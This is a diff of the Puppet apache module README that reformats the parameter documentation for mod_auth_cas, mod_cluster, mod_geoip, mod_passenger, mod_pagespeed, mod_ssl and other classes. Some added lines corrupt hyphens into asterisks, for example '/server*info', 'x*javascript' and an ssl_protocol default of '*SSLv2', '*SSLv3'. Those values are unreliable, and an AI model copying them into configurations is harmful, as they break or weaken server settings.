+ Default: `undef`. + - `cas_validate_url`: **Required**. Sets the URL to use when validating a client-presented ticket in an HTTP query string. -- `cas_version`: The CAS protocol version to adhere to. Valid options: '1', '2'. Default: '2'. -- `suppress_warning`: Don't wine about being on RedHat (Hint: mod_auth_cas package is now available in epel-testing repo). Default: false. + +- `cas_version`: The CAS protocol version to adhere to. Values: '1', '2'. + + Default: '2'. + +- `suppress_warning`: Suppress warning about being on RedHat (`mod_auth_cas` package is now available in epel-testing repo). + + Default: `false`. ##### Class: `apache::mod::auth_mellon` -Installs and manages [`mod_auth_mellon`][]. Its parameters share names with the Apache module's directives. +Installs and manages [`mod_auth_mellon`][]. Parameters share names with the Apache module's directives. ``` puppet class{ 'apache::mod::auth_mellon': @@ -1537,19 +1812,39 @@ class{ 'apache::mod::auth_mellon': } ``` -**Parameters within `apache::mod::auth_mellon`**: +**Parameters**: -- `mellon_cache_entry_size`: Maximum size for a single session. Default: undef. -- `mellon_cache_size`: Size in megabytes of the mellon cache. Default: 100. -- `mellon_lock_file`: Location of lock file. Default: '`/run/mod_auth_mellon/lock`'. -- `mellon_post_directory`: Full path where post requests are saved. Default: '`/var/cache/apache2/mod_auth_mellon/`' -- `mellon_post_ttl`: Time to keep post requests. Default: undef. -- `mellon_post_size`: Maximum size of post requests. Default: undef. -- `mellon_post_count`: Maximum number of post requests. Default: undef. +* `mellon_cache_entry_size`: Maximum size for a single session. + + Default: `undef`. + +* `mellon_cache_size`: Size in megabytes of the mellon cache. + + Default: 100. + +* `mellon_lock_file`: Location of lock file. + + Default: '`/run/mod_auth_mellon/lock`'. + +* `mellon_post_directory`: Full path where post requests are saved. + + Default: '`/var/cache/apache2/mod_auth_mellon/`' + +* `mellon_post_ttl`: Time to keep post requests. + + Default: `undef`. + +* `mellon_post_size`: Maximum size of post requests. + + Default: `undef`. + +* `mellon_post_count`: Maximum number of post requests. + + Default: `undef`. ##### Class: `apache::mod::authn_dbd` -Installs `mod_authn_dbd` and uses `authn_dbd.conf.erb` template to generate its configuration. Optionally creates AuthnProviderAlias. +Installs `mod_authn_dbd` and uses `authn_dbd.conf.erb` template to generate its configuration. Optionally, creates AuthnProviderAlias. ``` puppet class { 'apache::mod::authn_dbd': @@ -1560,28 +1855,51 @@ class { 'apache::mod::authn_dbd': } ``` -** Parameters within `apache::mod::authn_dbd` -- `authn_dbd_alias`: Name for the AuthnProviderAlias. -- `authn_dbd_dbdriver`: Which db driver to use. Default: mysql. -- `authn_dbd_exptime`: corresponds to DBDExptime. Default: 300. -- `authn_dbd_keep`: corresponds to DBDKeep. Default: 8. -- `authn_dbd_max`: corresponds to DBDMax. Default: 20. -- `authn_dbd_min`: corresponds to DBDMin. Default: 4. -- `authn_dbd_params`: **Required**. Corresponds to DBDParams for the connection string. -- `authn_dbd_query`: is the query used to test a user and password for authentication. +**Parameters**: + +* `authn_dbd_alias`: Name for the 'AuthnProviderAlias'. + +* `authn_dbd_dbdriver`: Specifies the database driver to use. + + Default: 'mysql'. + +* `authn_dbd_exptime`: corresponds to DBDExptime. + + Default: 300. + +* `authn_dbd_keep`: Corresponds to DBDKeep. + + Default: 8. + +* `authn_dbd_max`: Corresponds to DBDMax. + + Default: 20. + +* `authn_dbd_min`: Corresponds to DBDMin. + + Default: 4. + +* `authn_dbd_params`: **Required**. Corresponds to DBDParams for the connection string. + +* `authn_dbd_query`: Whether to query the user and password for authentication. ##### Class: `apache::mod::authnz_ldap` Installs `mod_authnz_ldap` and uses the `authnz_ldap.conf.erb` template to generate its configuration. -**Parameters within `apache::mod::authnz_ldap`**: +**Parameters**: -- `package_name`: Default: `undef`. -- `verify_server_cert`: Default: `undef`. +* `package_name`: The name of the package. + + Default: `undef`. + +* `verify_server_cert`: Whether to verify the server certificate. + + Default: `undef`. ##### Class: `apache::mod::cluster` -**Note**: There is no official package available for mod\_cluster and thus it must be made available by means outside of the control of the apache module. Binaries can be found at http://mod-cluster.jboss.org/ +**Note**: There is no official package available for `mod_cluster`, so you must make it available outside of the apache module. Binaries can be found at http://mod-cluster.jboss.org/ ``` puppet class { '::apache::mod::cluster': @@ -1592,36 +1910,75 @@ class { '::apache::mod::cluster': } ``` -**Parameters within `apache::mod::cluster`**: +**Parameters**: -- `port`: mod_cluster listen port. Default: '6666'. -- `server_advertise`: Whether the server should advertise. Default: true. -- `manager_allowed_network`: Network allowed to access the mod_cluster_manager. Default: '127.0.0.1'. -- `keep_alive_timeout`: Keep-alive timeout. Default: 60. -- `max_keep_alive_requests`: Max number of requests kept alive. Default: 0 -- `enable_mcpm_receive`: Whether MCPM should be enabled: Default: true. -- `ip`: Listen ip address.. -- `allowed_network`: Balanced members network. -- `version`: mod_cluster version. >= 1.3.0 is required for httpd 2.4. +* `port`: mod_cluster listen port. + + Default: '6666'. + +* `server_advertise`: Whether the server should advertise. + + Default: `true`. + +* `advertise_frequency`: Sets the interval between advertise messages in seconds[.miliseconds]. + + Default: 10. + +* `manager_allowed_network`: Whether to allow the network to access the mod_cluster_manager. + + Default: '127.0.0.1'. + +* `keep_alive_timeout`: Specifies how long Apache should wait for a request, in seconds. + + Default: 60. + +* `max_keep_alive_requests`: Maximum number of requests kept alive. + + Default: 0. + +* `enable_mcpm_receive`: Whether MCPM should be enabled. + + Default: `true`. + +* `ip`: Specifies the IP address to listen to. + +* `allowed_network`: Balanced members network. + +* `version`: Specifies the `mod_cluster` version. Version 1.3.0 or greater is required for httpd 2.4. ##### Class: `apache::mod::deflate` Installs and configures [`mod_deflate`][]. -**Parameters within `apache::mod::deflate`**: +**Parameters**: -- `types`: An [array][] of [MIME types][MIME `content-type`] to be deflated. Default: [ 'text/html text/plain text/xml', 'text/css', 'application/x-javascript application/javascript application/ecmascript', 'application/rss+xml', 'application/json' ]. -- `notes`: A [Hash][] where the key represents the type and the value represents the note name. Default: { 'Input' => 'instream', 'Output' => 'outstream', 'Ratio' => 'ratio' } +* `types`: An [array][] of [MIME types][MIME `content*type`] to be deflated. + + Default: [ 'text/html text/plain text/xml', 'text/css', 'application/x*javascript application/javascript application/ecmascript', 'application/rss+xml', 'application/json' ]. + +* `notes`: A [Hash][] where the key represents the type and the value represents the note name. + + Default: { 'Input' => 'instream', 'Output' => 'outstream', 'Ratio' => 'ratio' }. ##### Class: `apache::mod::expires` Installs [`mod_expires`][] and uses the `expires.conf.erb` template to generate its configuration. -**Parameters within `apache::mod::expires`**: +**Parameters**: -- `expires_active`: Enables generation of `Expires` headers for a document realm. Valid options: Boolean. Default: true. -- `expires_default`: Default algorithm for calculating expiration time using [`ExpiresByType`][] syntax or [interval syntax][]. Default: undef. -- `expires_by_type`: Describes a set of [MIME `content-type`][] and their expiration times. Valid options: An [array][] of [Hashes][Hash], with each Hash's key a valid MIME `content-type` (i.e. 'text/json') and its value following valid [interval syntax][]. Default: undef. +* `expires_active`: Enables generation of `Expires` headers for a document realm. + + Boolean. Default: `true`. + +* `expires_default`: Specifies the default algorithm for calculating expiration time using [`ExpiresByType`][] syntax or [interval syntax][]. + + Default: `undef`. + +* `expires_by_type`: Describes a set of [MIME `content*type`][] and their expiration times. + + Values: An [array][] of [Hashes][Hash], with each Hash's key a valid MIME `content*type` (i.e. 'text/json') and its value following valid [interval syntax][]. + + Default: `undef`. ##### Class: `apache::mod::ext_filter` @@ -1636,15 +1993,17 @@ class { 'apache::mod::ext_filter': } ``` -**Parameters within `apache::mod::ext_filter`**: +**Parameters**: -- `ext_filter_define`: A hash of filter names and their parameters. Default: undef. +* `ext_filter_define`: A hash of filter names and their parameters. + + Default: `undef`. ##### Class: `apache::mod::fcgid` Installs and configures [`mod_fcgid`][]. -The class makes no effort to individually parameterize all available options. Instead, configure `mod_fcgid` using the `options` [hash][]. For example: +The class does not individually parameterize all available options. Instead, configure `mod_fcgid` using the `options` [hash][]. For example: ``` puppet class { 'apache::mod::fcgid': @@ -1678,39 +2037,98 @@ apache::vhost { 'example.org': Installs and manages [`mod_geoip`][]. -**Parameters within `apache::mod::geoip`**: +**Parameters**: -- `db_file`: Sets the path to your GeoIP database file. Valid options: a path, or an [array][] paths for multiple GeoIP database files. Default: `/usr/share/GeoIP/GeoIP.dat`. -- `enable`: Determines whether to globally enable [`mod_geoip`][]. Valid options: Boolean. Default: false. -- `flag`: Sets the GeoIP flag. Valid options: 'CheckCache', 'IndexCache', 'MemoryCache', 'Standard'. Default: 'Standard'. -- `output`: Defines which output variables to use. Valid options: 'All', 'Env', 'Request', 'Notes'. Default: 'All'. -- `enable_utf8`: Changes the output from ISO-8859-1 (Latin-1) to UTF-8. Valid options: Boolean. Default: undef. -- `scan_proxy_headers`: Enables the [GeoIPScanProxyHeaders][] option. Valid options: Boolean. Default: undef. -- `scan_proxy_header_field`: Specifies which header [`mod_geoip`][] should look at to determine the client's IP address. Default: undef. -- `use_last_xforwarededfor_ip` (sic): Determines whether to use the first or last IP address for the client's IP if a comma-separated list of IP addresses is found. Valid options: Boolean. Default: undef. +* `db_file`: Sets the path to your GeoIP database file. + + Values: a path, or an [array][] paths for multiple GeoIP database files. + + Default: `/usr/share/GeoIP/GeoIP.dat`. + +* `enable`: Determines whether to globally enable [`mod_geoip`][]. + + Boolean. Default: `false`. + +* `flag`: Sets the GeoIP flag. + + Values: 'CheckCache', 'IndexCache', 'MemoryCache', 'Standard'. + + Default: 'Standard'. + +* `output`: Defines which output variables to use. + + Values: 'All', 'Env', 'Request', 'Notes'. + + Default: 'All'. + +* `enable_utf8`: Changes the output from ISO*8859*1 (Latin*1) to UTF*8. + + Boolean. Default: `undef`. + +* `scan_proxy_headers`: Enables the [GeoIPScanProxyHeaders][] option. + + Boolean. Default: `undef`. + +* `scan_proxy_header_field`: Specifies the header [`mod_geoip`][] uses to determine the client's IP address. + + Default: `undef`. + +* `use_last_xforwarededfor_ip` (sic): Determines whether to use the first or last IP address for the client's IP in a comma-separated list of IP addresses is found. + + Boolean. Default: `undef`. ##### Class: `apache::mod::info` Installs and manages [`mod_info`][], which provides a comprehensive overview of the server configuration. -**Parameters within `apache::mod::info`**: +**Parameters**: -- `allow_from`: Whitelist of IPv4 or IPv6 addresses or ranges that can access `/server-info`. Valid options: One or more octets of an IPv4 address, an IPv6 address or range, or an array of either. Default: ['127.0.0.1','::1']. -- `apache_version`: Apache's version number as a string, such as '2.2' or '2.4'. Default: the value of [`$::apache::apache_version`][`apache_version`]. -- `restrict_access`: Determines whether to enable access restrictions. If false, the `allow_from` whitelist is ignored and any IP address can access `/server-info`. Valid options: Boolean. Default: true. +* `allow_from`: Whitelist of IPv4 or IPv6 addresses or ranges that can access `/server*info`. + + Values: One or more octets of an IPv4 address, an IPv6 address or range, or an array of either. + + Default: ['127.0.0.1','::1']. + +* `apache_version`: Apache's version number as a string, such as '2.2' or '2.4'. + + Default: The value of [`$::apache::apache_version`][`apache_version`]. + + +* `restrict_access`: Determines whether to enable access restrictions. If `false`, the `allow_from` whitelist is ignored and any IP address can access `/server*info`. + + Boolean. Default: `true`. ##### Class: `apache::mod::passenger` -Installs and manages [`mod_passenger`][]. For RedHat based systems, please ensure that you meet the minimum requirements as described in the [passenger docs](https://www.phusionpassenger.com/library/install/apache/install/oss/el6/#step-1:-upgrade-your-kernel,-or-disable-selinux) +Installs and manages [`mod_passenger`][]. For Red Hat-based systems, ensure that you meet the minimum requirements described in the [passenger docs](https://www.phusionpassenger.com/library/install/apache/install/oss/el6/#step-1:-upgrade-your-kernel,-or-disable-selinux). -**Parameters within `apache::mod::passenger`**: +**Parameters**: -- `passenger_high_performance` Sets the [`PassengerHighPerformance`](https://www.phusionpassenger.com/library/config/apache/reference/#passengerhighperformance). Valid options: 'on', 'off'. Default: undef. -- `passenger_pool_idle_time` Sets the [`PassengerPoolIdleTime`](https://www.phusionpassenger.com/library/config/apache/reference/#passengerpoolidletime). Default: undef. -- `passenger_max_pool_size` Sets the [`PassengerMaxPoolSize`](https://www.phusionpassenger.com/library/config/apache/reference/#passengermaxpoolsize). Default: undef. -- `passenger_max_request_queue_size` Sets the [`PassengerMaxRequestQueueSize`](https://www.phusionpassenger.com/library/config/apache/reference/#passengermaxrequestqueuesize). Default: undef. -- `passenger_max_requests` Sets the [`PassengerMaxRequests`](https://www.phusionpassenger.com/library/config/apache/reference/#passengermaxrequests). Default: undef. -- `passenger_data_buffer_dir` Sets the [`PassengerDataBufferDir`](https://www.phusionpassenger.com/library/config/apache/reference/#passengerdatabufferdir). Default: undef. +* `passenger_high_performance`: Sets the [`PassengerHighPerformance`](https://www.phusionpassenger.com/library/config/apache/reference/#passengerhighperformance). + + Values: 'On', 'Off'. + + Default: `undef`. + +* `passenger_pool_idle_time`: Sets the [`PassengerPoolIdleTime`](https://www.phusionpassenger.com/library/config/apache/reference/#passengerpoolidletime). + + Default: `undef`. + +* `passenger_max_pool_size`: Sets the [`PassengerMaxPoolSize`](https://www.phusionpassenger.com/library/config/apache/reference/#passengermaxpoolsize). + + Default: `undef`. + +* `passenger_max_request_queue_size`: Sets the [`PassengerMaxRequestQueueSize`](https://www.phusionpassenger.com/library/config/apache/reference/#passengermaxrequestqueuesize). + + Default: `undef`. + +* `passenger_max_requests`: Sets the [`PassengerMaxRequests`](https://www.phusionpassenger.com/library/config/apache/reference/#passengermaxrequests). + + Default: `undef`. + +* `passenger_data_buffer_dir`: Sets the [`PassengerDataBufferDir`](https://www.phusionpassenger.com/library/config/apache/reference/#passengerdatabufferdir). + + Default: `undef`. ##### Class: `apache::mod::ldap` @@ -1729,84 +2147,141 @@ class { 'apache::mod::ldap': } ``` -**Parameters within `apache::mod::ldap`:** +**Parameters** -- `apache_version`: The installed Apache version. Defaults to `undef`. -- `ldap_trusted_global_cert_file`: Path and file name of the trusted CA certificates to use when establishing SSL or TLS connections to an LDAP server. -- `ldap_trusted_global_cert_type`: The global trust certificate format. Default: 'CA_BASE64'. -- `ldap_shared_cache_size`: Size in bytes of the shared-memory cache. -- `ldap_cache_entries`: Maximum number of entries in the primary LDAP cache. -- `ldap_cache_ttl`: Time that cached items remain valid. -- `ldap_opcache_entries`: Number of entries used to cache LDAP compare operations. -- `ldap_opcache_ttl`: Time that entries in the operation cache remain valid. -- `package_name`: Custom package name. Defaults to `undef`. +* `apache_version`: Specifies the installed Apache version. + + Default: `undef`. + +* `ldap_trusted_global_cert_file`: Specifies the path and file name of the trusted CA certificates to use when establishing SSL or TLS connections to an LDAP server. + +* `ldap_trusted_global_cert_type`: Specifies the global trust certificate format. + + Default: 'CA_BASE64'. + +* `ldap_shared_cache_size`: Specifies the size, in bytes, of the shared memory cache. + +* `ldap_cache_entries`: Specifies the maximum number of entries in the primary LDAP cache. + +* `ldap_cache_ttl`: Specifies the time, in seconds, that cached items remain valid. + +* `ldap_opcache_entries`: Specifies the number of entries used to cache LDAP compare operations. + +* `ldap_opcache_ttl`: Specifies the time, in seconds, that entries in the operation cache remain valid. + +* `package_name`: Specifies the custom package name. + + Default: `undef`. ##### Class: `apache::mod::negotiation` Installs and configures [`mod_negotiation`][]. -**Parameters within `apache::mod::negotiation`:** +**Parameters**: -- `force_language_priority`: Sets the `ForceLanguagePriority` option. Valid option: String. Default: `Prefer Fallback`. -- `language_priority`: An [array][] of languages to set the `LanguagePriority` option of the module. Default: [ 'en', 'ca', 'cs', 'da', 'de', 'el', 'eo', 'es', 'et', 'fr', 'he', 'hr', 'it', 'ja', 'ko', 'ltz', 'nl', 'nn', 'no', 'pl', 'pt', 'pt-BR', 'ru', 'sv', 'zh-CN', 'zh-TW' ] +* `force_language_priority`: Sets the `ForceLanguagePriority` option. + + Values: A string. + + Default: `Prefer Fallback`. + +* `language_priority`: An [array][] of languages to set the `LanguagePriority` option of the module. + + Default: [ 'en', 'ca', 'cs', 'da', 'de', 'el', 'eo', 'es', 'et', 'fr', 'he', 'hr', 'it', 'ja', 'ko', 'ltz', 'nl', 'nn', 'no', 'pl', 'pt', 'pt*BR', 'ru', 'sv', 'zh*CN', 'zh*TW' ] + +##### Class: `apache::mod::nss` + +An SSL provider for Apache using the NSS crypto libraries. + +**Parameters:** + +- `transfer_log`: path to access.log +- `error_log`: path to error.log +- `passwd_file`: path to file used for NSSPassPhraseDialog directive +- `port`: SSL port. Defaults to 8443 ##### Class: `apache::mod::pagespeed` Installs and manages [`mod_pagespeed`][], a Google module that rewrites web pages to reduce latency and bandwidth. -While this Apache module requires the `mod-pagespeed-stable` package, Puppet **doesn't** manage the software repositories required to automatically install the package. If you declare this class when the package is either not installed or not available to your package manager, your Puppet run will fail. +Although this apache module requires the `mod-pagespeed-stable` package, Puppet **does not** manage the software repositories required to automatically install the package. If you declare this class when the package is either not installed or not available to your package manager, your Puppet run will fail. -**Note:** Verify that your system is compatible with the latest Google Pagespeed requirements. +> **Note:** Verify that your system is compatible with the latest Google Pagespeed requirements. -**Parameters within `apache::mod::pagespeed`**: +**Parameters**: -- `inherit_vhost_config`: Default: 'on'. -- `filter_xhtml`: Default: false. -- `cache_path`: Default: '/var/cache/mod\_pagespeed/'. -- `log_dir`: Default: '/var/log/pagespeed'. -- `memcache_servers`: Default: []. -- `rewrite_level`: Default: 'CoreFilters'. -- `disable_filters`: Default: []. -- `enable_filters`: Default: []. -- `forbid_filters`: Default: []. -- `rewrite_deadline_per_flush_ms`: Default: 10. -- `additional_domains`: Default: undef. -- `file_cache_size_kb`: Default: 102400. -- `file_cache_clean_interval_ms`: Default: 3600000. -- `lru_cache_per_process`: Default: 1024. -- `lru_cache_byte_limit`: Default: 16384. -- `css_flatten_max_bytes`: Default: 2048. -- `css_inline_max_bytes`: Default: 2048. -- `css_image_inline_max_bytes`: Default: 2048. -- `image_inline_max_bytes`: Default: 2048. -- `js_inline_max_bytes`: Default: 2048. -- `css_outline_min_bytes`: Default: 3000. -- `js_outline_min_bytes`: Default: 3000. -- `inode_limit`: Default: 500000. -- `image_max_rewrites_at_once`: Default: 8. -- `num_rewrite_threads`: Default: 4. -- `num_expensive_rewrite_threads`: Default: 4. -- `collect_statistics`: Default: 'on'. -- `statistics_logging`: Default: 'on'. -- `allow_view_stats`: Default: []. -- `allow_pagespeed_console`: Default: []. -- `allow_pagespeed_message`: Default: []. -- `message_buffer_size`: Default: 100000. -- `additional_configuration`: A hash of directive-value pairs or an array of lines to insert at the end of the pagespeed configuration. Default: '{ }'. +These parameters correspond to the module's directives. See the [module's documentation][`mod_pagespeed`] for details. -The class's parameters correspond to the module's directives. See the [module's documentation][`mod_pagespeed`] for details. +* `inherit_vhost_config`: Default: 'on'. +* `filter_xhtml`: Default: `false`. +* `cache_path`: Default: '/var/cache/mod_pagespeed/'. +* `log_dir`: Default: '/var/log/pagespeed'. +* `memcache_servers`: Default: []. +* `rewrite_level`: Default: 'CoreFilters'. +* `disable_filters`: Default: []. +* `enable_filters`: Default: []. +* `forbid_filters`: Default: []. +* `rewrite_deadline_per_flush_ms`: Default: 10. +* `additional_domains`: Default: `undef`. +* `file_cache_size_kb`: Default: 102400. +* `file_cache_clean_interval_ms`: Default: 3600000. +* `lru_cache_per_process`: Default: 1024. +* `lru_cache_byte_limit`: Default: 16384. +* `css_flatten_max_bytes`: Default: 2048. +* `css_inline_max_bytes`: Default: 2048. +* `css_image_inline_max_bytes`: Default: 2048. +* `image_inline_max_bytes`: Default: 2048. +* `js_inline_max_bytes`: Default: 2048. +* `css_outline_min_bytes`: Default: 3000. +* `js_outline_min_bytes`: Default: 3000. +* `inode_limit`: Default: 500000. +* `image_max_rewrites_at_once`: Default: 8. +* `num_rewrite_threads`: Default: 4. +* `num_expensive_rewrite_threads`: Default: 4. +* `collect_statistics`: Default: 'on'. +* `statistics_logging`: Default: 'on'. +* `allow_view_stats`: Default: []. +* `allow_pagespeed_console`: Default: []. +* `allow_pagespeed_message`: Default: []. +* `message_buffer_size`: Default: 100000. +* `additional_configuration`: A hash of directive value pairs, or an array of lines to insert at the end of the pagespeed configuration. Default: '{ }'. ##### Class: `apache::mod::passenger` -Installs and configures mod\_passenger +Installs and configures `mod_passenger`. -**Parameters within `apache::mod::passenger`**: +>**Note**: The passenger module isn't available on RH/CentOS without providing the dependency packages provided by EPEL and the `mod_passengers` custom repository. See the `manage_repo` parameter above and [https://www.phusionpassenger.com/library/install/apache/install/oss/el7/]() -- `manage_repo`: Manage phusionpassenger.com repository. Default: true. +**Parameters**: [TODO: parameters were not listed (except `manage_repo`), so I pulled them out of the manifest. I need to know what these parameters do and what their values can be OR a link that points external documentation for the parameter mapping (as with mod_pagespeed above) ] -TODO: The parameters section is incomplete. - -**Note**: The passenger module isn't available on RH/CentOS without providing dependency packages provided by EPEL and mod\_passengers own custom repository. See the `manage_repo` parameter above and [https://www.phusionpassenger.com/library/install/apache/install/oss/el7/]() +* `passenger_conf_file`: `$::apache::params::passenger_conf_file` +* `passenger_conf_package_file: `$::apache::params::passenger_conf_package_file` +* `passenger_high_performance`: Default: `undef` +* `passenger_pool_idle_time`: Default: `undef` +* `passenger_max_request_queue_size`: Default: `undef` +* `passenger_max_requests`: Default: `undef` +* `passenger_spawn_method`: Default: `undef` +* `passenger_stat_throttle_rate`: Default: `undef` +* `rack_autodetect`: Default: `undef` +* `rails_autodetect`: Default: `undef` +* `passenger_root` : `$::apache::params::passenger_root` +* `passenger_ruby` : `$::apache::params::passenger_ruby` +* `passenger_default_ruby`: `$::apache::params::passenger_default_ruby` +* `passenger_max_pool_size`: Default: `undef` +* `passenger_min_instances`: Default: `undef` +* `passenger_max_instances_per_app`: Default: `undef` +* `passenger_use_global_queue`: Default: `undef` +* `passenger_app_env`: Default: `undef` +* `passenger_log_file`: Default: `undef` +* `passenger_log_level`: Default: `undef` +* `passenger_data_buffer_dir`: Default: `undef` +* `manage_repo`: Whether to manage the phusionpassenger.com repository. Default: `true`. +* `mod_package`: Default: `undef`. +* `mod_package_ensure`: Default: `undef`. +* `mod_lib`: Default: `undef`. +* `mod_lib_path`: Default: `undef`. +* `mod_id`: Default: `undef`. +* `mod_path`: Default: `undef`. ##### Class: `apache::mod::proxy` @@ -1814,6 +2289,8 @@ Installs `mod_proxy` and uses the `proxy.conf.erb` template to generate its conf **Parameters within `apache::mod::proxy`**: +TODO: What do these parameters do? + - `allow_from`: Default: `undef`. - `apache_version`: Default: `undef`. - `package_name`: Default: `undef`. @@ -1824,56 +2301,71 @@ Installs `mod_proxy` and uses the `proxy.conf.erb` template to generate its conf Installs and manages [`mod_proxy_balancer`][], which provides load balancing. -**Parameters within `apache::mod::proxy_balancer`**: +**Parameters**: -- `manager`: Determines whether to enable balancer manager support. Default: `false`. -- `manager_path`: The server location of the balancer manager. Default: '/balancer-manager'. -- `allow_from`: An [array][] of IPv4 or IPv6 addresses that can access `/balancer-manager`. Default: ['127.0.0.1','::1']. -- `apache_version`: Apache's version number as a string, such as '2.2' or '2.4'. Default: the value of [`$::apache::apache_version`][`apache_version`]. - - On Apache >= 2.4, `mod_slotmem_shm` is loaded. +* `manager`: Determines whether to enable balancer manager support. + Default: `false`. + +* `manager_path`: The server location of the balancer manager. + + Default: '/balancer*manager'. + +* `allow_from`: An [array][] of IPv4 or IPv6 addresses that can access `/balancer*manager`. + + Default: ['127.0.0.1','::1']. + +* `apache_version`: Apache's version number as a string, such as '2.2' or '2.4'. + + Default: the value of [`$::apache::apache_version`][`apache_version`]. On Apache 2.4 or greater, `mod_slotmem_shm` is loaded. ##### Class: `apache::mod::php` Installs and configures [`mod_php`][]. -**Parameters within `apache::mod::php`**: +**Parameters**: -Default values depend on your operating system. +Default values for these parameters depend on your operating system. Most of this class's parameters correspond to `mod_php` directives; see the [module's documentation][`mod_php`] for details. -> **Note**: This list is incomplete. Most of this class's parameters correspond to `mod_php` directives; see the [module's documentation][`mod_php`] for details. - -- `package_name`: Names the package that installs `mod_php`. -- `path`: Defines the path to the `mod_php` shared object (`.so`) file. -- `source`: Defines the path to the default configuration. Valid options include a `puppet:///` path. -- `template`: Defines the path to the `php.conf` template Puppet uses to generate the configuration file. -- `content`: Adds arbitrary content to `php.conf`. +* `package_name`: Names the package that installs `mod_php`. +* `path`: Defines the path to the `mod_php` shared object (`.so`) file. +* `source`: Defines the path to the default configuration. Values include a `puppet:///` path. +* `template`: Defines the path to the `php.conf` template Puppet uses to generate the configuration file. +* `content`: Adds arbitrary content to `php.conf`. ##### Class: `apache::mod::proxy_html` -**Note**: There is no official package available for mod\_proxy\_html and thus it must be made available by means outside of the control of the apache module. +**Note**: There is no official package available for `mod_proxy_html`, so you must make it available outside of the apache module. ##### Class: `apache::mod::reqtimeout` Installs and configures [`mod_reqtimeout`][]. -**Parameters within `apache::mod::reqtimeout`**: +**Parameters** -- `timeouts`: A string or [array][] that sets the [`RequestReadTimeout`][] option. Default: ['header=20-40,MinRate=500', 'body=20,MinRate=500']. +* `timeouts`: Sets the [`RequestReadTimeout`][] option. + + Values: A string or [array][]. + + Default: ['header=20-40,MinRate=500', 'body=20,MinRate=500']. + +##### Class: `apache::mod::rewrite` + +Installs and enables the Apache module `mod_rewrite`. ##### Class: `apache::mod::shib` -Installs the [Shibboleth](http://shibboleth.net/) Apache module `mod_shib`, which enables SAML2 single sign-on (SSO) authentication by Shibboleth Identity Providers and Shibboleth Federations. This class only installs and configures the Apache components of a web application that consumes Shibboleth SSO identities, also known as a Shibboleth Service Provider. You can manage the Shibboleth configuration manually, with Puppet, or using a [Shibboleth Puppet Module](https://github.com/aethylred/puppet-shibboleth). +Installs the [Shibboleth](http://shibboleth.net/) Apache module `mod_shib`, which enables SAML2 single sign-on (SSO) authentication by Shibboleth Identity Providers and Shibboleth Federations. Defining this class enables Shibboleth-specific parameters in `apache::vhost` instances. -Defining this class enables Shibboleth-specific parameters in `apache::vhost` instances. +This class installs and configures only the Apache components of a web application that consumes Shibboleth SSO identities. You can manage the Shibboleth configuration manually, with Puppet, or using a [Shibboleth Puppet Module](https://github.com/aethylred/puppet-shibboleth). **Note**: The shibboleth module isn't available on RH/CentOS without providing dependency packages provided by Shibboleth's repositories. See [http://wiki.aaf.edu.au/tech-info/sp-install-guide]() ##### Class: `apache::mod::ssl` -Installs [Apache SSL features][`mod_ssl`] and uses the `ssl.conf.erb` template to generate its configuration. On most operating systems, this ssl.conf is placed in the module configuration directory, however on Red Hat-based operating systems it is placed in the confd directory (/etc/httpd/conf.d), the same location the RPM stores the configuration. +Installs [Apache SSL features][`mod_ssl`] and uses the `ssl.conf.erb` template to generate its configuration. On most operating systems, this `ssl.conf` is placed in the module configuration directory. On Red Hat-based operating systems, this file is placed in `/etc/httpd/conf.d`, the same location in which the RPM stores the configuration. -**Parameters within `apache::mod::ssl`**: +To use SSL with a virtual host, you must either set the [`default_ssl_vhost`][] parameter in `::apache` to `true` **or** the [`ssl`][] parameter in [`apache::vhost`][] to `true`. - `ssl_cipher`: Default: 'HIGH:MEDIUM:!aNULL:!MD5:!RC4'. - `ssl_compression`: Default: false. @@ -1883,25 +2375,90 @@ Installs [Apache SSL features][`mod_ssl`] and uses the `ssl.conf.erb` template t - `ssl_options`: Default: [ 'StdEnvVars' ] - `ssl_pass_phrase_dialog`: Default: 'builtin'. - `ssl_protocol`: Default: [ 'all', '-SSLv2', '-SSLv3' ]. +- `ssl_proxy_protocol`: Default: []. - `ssl_random_seed_bytes`: Valid options: A string. Default: '512'. +- `ssl_sessioncache`: Valid options: A string. Default: '300'. - `ssl_sessioncachetimeout`: Valid options: A string. Default: '300'. - `ssl_mutex`: Default: Determined based on the OS. Valid options: See [mod_ssl][mod_ssl] documentation. - RedHat/FreeBSD/Suse/Gentoo: 'default' - Debian/Ubuntu + Apache >= 2.4: 'default' - Debian/Ubuntu + Apache < 2.4: 'file:\${APACHE_RUN_DIR}/ssl_mutex' - - Ubuntu 10.04: 'file:/var/run/apache2/ssl_mutex' +**Parameters: + +* `ssl_cipher` + + Default: 'HIGH:MEDIUM:!aNULL:!MD5:!RC4'. + +* `ssl_compression` + + Default: `false`. + +* `ssl_cryptodevice` + + Default: 'builtin'. + +* `ssl_honorcipherorder` + + Default: `true`. + +* `ssl_openssl_conf_cmd` + + Default: `undef`. + +* `ssl_options` + + Default: [ 'StdEnvVars' ] + +* `ssl_pass_phrase_dialog` + + Default: 'builtin'. + +* `ssl_protocol` + + Default: [ 'all', '*SSLv2', '*SSLv3' ]. + +* `ssl_random_seed_bytes` + + Values: A string. + + Default: '512'. + +* `ssl_sessioncachetimeout` + + Values: A string. + + Default: '300'. + +* `ssl_mutex`: + + Values: See [mod_ssl][mod_ssl] documentation. + + Default: Based on the OS: + + * RedHat/FreeBSD/Suse/Gentoo: 'default'. + * Debian/Ubuntu + Apache >= 2.4: 'default'. + * Debian/Ubuntu + Apache < 2.4: 'file:\${APACHE_RUN_DIR}/ssl_mutex'. + * Ubuntu 10.04: 'file:/var/run/apache2/ssl_mutex'. -To use SSL with a virtual host, you must either set the [`default_ssl_vhost`][] parameter in `::apache` to true **or** the [`ssl`][] parameter in [`apache::vhost`][] to true. ##### Class: `apache::mod::status` Installs [`mod_status`][] and uses the `status.conf.erb` template to generate its configuration. -**Parameters within `apache::mod::status`**: +**Parameters**: -- `allow_from`: An [array][] of IPv4 or IPv6 addresses that can access `/server-status`. Default: ['127.0.0.1','::1']. -- `extended_status`: Determines whether to track extended status information for each request, via the [`ExtendedStatus`][] directive. Valid options: 'Off', 'On'. Default: 'On'. -- `status_path`: The server location of the status page. Default: '/server-status'. +* `allow_from`: An [array][] of IPv4 or IPv6 addresses that can access `/server-status`. + + Default: ['127.0.0.1','::1']. +* `extended_status`: Determines whether to track extended status information for each request, via the [`ExtendedStatus`][] directive. + + Values: 'Off', 'On'. + + Default: 'On'. + +* `status_path`: The server location of the status page. + + Default: '/server-status'. ##### Class: `apache::mod::version` @@ -1913,48 +2470,147 @@ If Debian and Ubuntu systems with Apache 2.4 are classified with `apache::mod::v Installs and configures 